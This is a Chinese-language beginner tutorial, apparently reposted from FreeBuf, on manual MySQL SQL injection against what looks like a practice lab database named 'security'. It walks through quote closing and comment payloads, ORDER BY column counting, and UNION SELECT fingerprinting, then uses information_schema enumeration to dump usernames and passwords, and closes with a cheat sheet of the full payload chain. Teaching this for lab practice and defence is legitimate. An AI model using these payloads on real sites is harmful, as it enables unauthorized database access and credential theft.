MySQL手工注入之基本注入流程

MySQL手工注入的基本步驟以及一些技巧的記錄,當出現學習手工注入的時候,網上的文章參差不齊,導致很長一段時間對手工注入的理解一直處於一知半解的狀態,特此記錄本文,讓小白們少走些彎路。本文只針對手工注入小白,大牛繞過輕噴。

步驟
註釋或者閉合語句
首先看下一個基本的SQL語句查詢源碼:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

下面的步驟默認都是採用這種基本的SQL語句的,其他的注入方法換湯不換藥,這裏只是想整理下注入的步驟與關鍵性的語句。

引號閉合語句
id =1 ' and '1' ='1
帶入進源碼中的SQL語句就是:

SELECT * FROM users WHERE id='1 ' and '1' ='1' LIMIT 0,1
註釋後面語句
常用的註釋payload

or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
--+ 可以用#替換,url 提交過程中 Url 編碼後的#爲%23
帶入進源碼中的SQL語句就是:

SELECT * FROM users WHERE id=''or 1=1--+' LIMIT 0,1
這樣可以看出直接把後面的語句都給註釋掉了,一般實戰用註釋比較多。

and 驗證
當然這裏 and 驗證和 or 驗證都可以,二者區別不大:頁面返回正常

?id=1' and 1=1 --+
?id=1' or 1=2 --+
頁面返回異常
?id=1' and 1=2 --+
?id=1' or 1=1 --+
如果發現一開始頁面先是正常然後是異常的話,說明頁面啊存在注入。當然這裏是最基本的判斷方法,到後面盲注的時候是用延時函數來觀察頁面的返回時間的。

查詢字段數目
查詢字段數目主要利用MySQL裏面的 order by 來判斷字段數目,order by一般採用數學中的對半查找來判斷具體的字段數目,這樣效率會很高,下面假設用 order by 來判斷一個未知字段的注入。

?id=1′ order by 1 –+ 此時頁面正常,繼續換更大的數字測試?id=1′ order by 10 –+ 此時頁面返回錯誤,更換小的數字測試?id=1′ order by 5 –+ 此時頁面依然報錯,繼續縮小數值測試?id=1′ order by 3 –+ 此時頁面返回正常,更換大的數字測試?id=1′ order by 4 –+ 此時頁面返回錯誤,3正常,4錯誤,說明字段數目就是 3

通過數學的對半查找,確定字段數目。

聯合查詢
UNION SELECT 聯合查詢,手工注入經典語句,作用是在後面通過UNION把我們的惡意注入語句接上去,帶入數據庫進行查詢。因爲字段數目是:3,那麼正規的語句如下:

?id=1' UNION SELECT 1,2,3 --+
這裏頁面是不會報錯的,此時我們帶入數據庫的語句爲:

SELECT 1,2,3 這段語句沒有任何意義,所以頁面按返回正常。

union查詢

但是爲了信息收集,我們得知道當前這個頁面裏面的值,調用的具體是數據庫中的哪個字段纔可以,可以故意構造一個錯誤的語句,來爆出錯誤的字段:

id=-1′ UNION SELECT 1,2,3 –+ 通過id=-1 一個負數不存在的id值來觸發報錯id=1′ and 1=2 UNION SELECT 1,2,3 –+ 通過and 1=2 語句來觸發報錯id=1′ or 1=1 UNION SELECT 1,2,3 –+ 通過or 1=1 語句來觸發報錯

可以看出爆出了具體的字段號了,這裏爆出了2和3進MySQL數據庫看下這個表的字段結構:

數據庫表的結構完美驗證了本次爆錯出先的數字2和3,這裏的數字代表字段,恰巧對應的字段值是:username和password。

收集信息
在爆出的字段值裏面可以替換爲我們的惡意語句,前期主要是收集信息,包括判斷當前數據庫是否是root用戶,MySQL的版本等,一般收集這些信息常用一些MySQL自帶的函數去收集信息:MySQL常用的系統函數

version() #MySQL版本
user() #數據庫用戶名
database() #數據庫名
@@datadir #數據庫路徑
@@version_compile_os #操作系統版本
查詢當前數據庫名

id=1' and 1=2 UNION SELECT 1,database(),3 --+

查詢MySQL版本
id=1' and 1=2 UNION SELECT 1,2,version() --+

查詢數據庫用戶和路徑
id=1' and 1=2 UNION SELECT 1,user(),@@datadir --+

查詢數據庫

查詢數據庫,一般來說我們注入的時候要查的就是當前的數據庫,但有時候root權限就NB了還可以看到網站數據庫之外的數據庫內容。查詢當前數據庫

id=1' and 1=2 UNION SELECT 1,2,database() --+

拿到當前的數據庫名稱爲:security查詢所有數據庫有時候忍不住想看下其他的數據庫的內容,可以用這個語句查詢所有的數據庫:

id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+

這裏用到了group_concat函數,由於本篇文章的定位是 手工注入的步驟 這裏不在這裏進行細化的講解此類函數的用法。瞭解相關函數的話參考我的另一篇文章:MySQL 手工注入之常見字符串函數

查詢表名
database 查詢數據庫
id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

單引號-數據庫
這裏的database()函數進行了數據庫查詢,因爲我們已經查到了當前的數據庫爲security,所有這裏還可以醬紫寫,用單引號括把數據庫的名稱括起來'security':

id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
hex編碼數據庫
如果嫌單引號括起來麻煩的話,那麼巧了!這裏還有一個更麻煩的方法,就是將數據庫名進行hex編碼處理。使用火狐自帶的HackBar插件可以快速的進行hex編碼:

hex編碼後在前面加上0x表明這裏是16進制編碼。

目前主流的集中方法大致就是這樣,還有一些先hex然後unhex group_concat的寫法,據說可以繞waf類的,這裏不是很常用就不再贅述了。 同理這些方法放到查詢數據庫的列名中也是可以使用的,要學會活學活用。

查詢列名
目前收集到的信息爲:

數據庫名稱: securuty數據庫表名: emails,referers,uagents,users

做爲一名***一定要有敏銳的嗅覺(手動dog),這幾個表中 一般我們都會去 繼續猜解users表。下面用和查詢數據庫類似的方法去查詢列名,關於原理的話 就是 MySQL下有一個information_schema裏面會存所有數據庫的一些相關信息:

既然都說到這裏了,這裏就順便列舉一下MySQL手工注入中,比較關鍵的information_schema裏的信息:

記錄關於數據庫的信息
information_schema 數據庫下的 schemata表中的schema_name記錄的是各個數據庫的名稱:

不僅這裏記錄了在 tables數據庫下的table_schema表也記錄了各個數據庫的名稱:

記錄關於數據表的信息
information_schema 數據庫下的 tables表中的table_name記錄的是各個數據表的名稱:

這裏是華麗的分割線,吃驚,一眨眼說不拓展的有忍不住扯了這麼多,下面不多說直接來查詢users表下的列名

id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

查詢字段值
由於在查詢列名那裏囉嗦的有點多,核心原理已經寫在上面了,這裏就簡單的寫出payload,:

id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users --+
知道了數據庫、表名、各個字段名可以直接進行查詢了,不需藉助information_schanem數據庫了。

簡短的整理
本來是打算前面步驟中規中矩的寫的,但還是忍不住寫多了。於是又開出一個標題進行簡短的整理:

order by –+ 判斷字段數目

union select –+ 聯合查詢收集信息

id=1′ and 1=2 UNION SELECT 1,2,database() –+ 查詢當前數據庫

id=1′ and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata –+查詢所有數據庫

id=1′ and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() –+ 查詢表名

id=1′ and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ –+ 查詢列名

id=1′ and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users –+ 查詢字段值

*本文作者:國光,轉載自FreeBuf.COM

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章